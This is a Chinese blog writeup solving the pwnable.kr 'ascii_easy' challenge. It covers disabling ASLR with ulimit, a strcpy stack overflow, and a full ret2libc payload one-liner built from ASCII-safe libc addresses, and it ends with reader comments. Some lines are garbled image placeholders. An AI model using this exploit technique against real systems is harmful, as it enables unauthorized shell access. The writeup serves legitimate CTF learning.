[Pwnable.kr] ascii_easy

29. 二月 2016 pwnable writeup 2

这应该是网上这道题第一篇公开的solution吧。首先要感谢一下韩国小哥inhack,虽然他的blog基本都是加密的,然而我在fb上联系到他之后他很热情地引导我做出了这道题,让我学到了新的东西。

 

这道题首先给出了提示”ulimit”,这里是一个可以禁用ALSR的黑科技,当设置ulimit -s unlimted时,系统的ALSR将会失效,原因在于arch/x86/mm/mmap.c中:

static int mmap_is_legacy(void)
{
    if (current->personality & ADDR_COMPAT_LAYOUT)
            return 1;

    if (rlimit(RLIMIT_STACK) == RLIM_INFINITY)
            return 1;

    return sysctl_legacy_va_layout;
}

在第二个if会返回true,所以ALSR就不起作用了,所有的地址成为固定值。

 

然后我们再看这个题,F5反汇编得到:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // ebx@6
  unsigned int v5; // [esp+28h] [ebp-Ch]@4
  char *v6; // [esp+2Ch] [ebp-8h]@1

  v6 = (char *)mmap((void *)0x80000000, 0x1000u, 7, 50, -1, 0);
  if ( v6 != (char *)0x80000000 )
  {
    puts("mmap failed. tell admin");
    _exit(1);
  }
  printf("Input text : ");
  v5 = 0;
  do
  {
    if ( v5 > 0x18F )
      break;
    v3 = &v6[v5];
    *v3 = getchar();
    ++v5;
  }
  while ( is_ascii(*v3) );
  puts("triggering bug...");
  return (int)vuln();
}

_BOOL4 __cdecl is_ascii(signed int a1)
{
  return a1 > 31 && a1 <= 127;
}

char *vuln()
{
  char dest; // [esp+10h] [ebp-A8h]@1

  return strcpy(&dest, (const char *)0x80000000);
}

可以看出vuln()中dest长度为0xA8,而strcpy的源字符串长度最大 0x18F,存在栈溢出。常规的想法是通过一个 “x”*0xA8 + oebp + ret_addr + ‘xxxx’ + ‘sh’ 的payload覆盖ret,控制eip执行system(‘/bin/sh’)拿到shell。

然后使用gdb查看system的函数地址:

_$RWYHFGK)FXO`F`9%Z7LVM

这个函数地址是符合要求的(能通过ascii检查),再看一下system函数在libc中的地址:

][HIO$4PA8T$1SXP_QUO]T4

是0x3f250.

然后我们还需要在libc里面找一个”sh\x00″的字符串地址,我们使用ida的search -> sequence of bytes功能,搜索”73 68 00″,找到了四个结果,我们依次看看这四个结果。LE)C_$IHBQ3ROD3}FKBD9WL

假设”sh\x00″的起始地址是str_addr,那么libc加载到ascii_easy之后的地址应该是 0x555c5250 – 0x3f250 + str_addr

上面四个地址计算结果分别是(注意左边一栏并不是sh的开始地址,而是指令的开始地址):0x556E2495,0x556E2801,0x556E4A31,0x556E69C2,其中只有第三个(0x556E4A31)是可以通过ascii的检查的,所以我们使用这个做为system()的参数字符串指针地址。

所以最后的payload是:

(python -c "print 'A'*0xa8 + 'aaaa' +'\x50\x52\x5c\x55'+'aaaa'+'\x31\x4a\x6e\x55'";cat) | ./ascii_easy

AZPFM~%C_RB_`)H1~{NH~$2

 

这个题到这里已经结束了,但是在以前(大概是去年)这么做还不行,因为据inhack说当时的libc的system地址跟我现在看到的不一样,导致四个”sh”的字符串地址都无法使用。所以他需要用别的方法,比如:将自己的tmp目录加入环境变量,写一个只包含system(“/bin/sh”)的c程序,然后到libc中寻找可以使用的字符串,比如:

RRI%~$FBY1IZUAPIUNDUP}5

这里的library的地址计算之后恰好可以通过ascii检查,那么就让自己的可执行文件名字改成library,这样调用library可以直接执行自己写的程序。


2 thoughts on “[Pwnable.kr] ascii_easy”

  • 1
    周鹏 on 2016年7月29日 回复

    Yiz96同学,您好,我对于“让自己的可执行文件名字改成library,这样调用library可以直接执行自己写的程序”这一句话不是很了解,不知道能不能解释一下?

    • 2
      Yiz96 on 2016年8月9日 回复

      最后一张图,利用“library”这个字符串,执行环境变量里面(tmp)下我们执行的执行文件来得到shell

发表评论

电子邮件地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据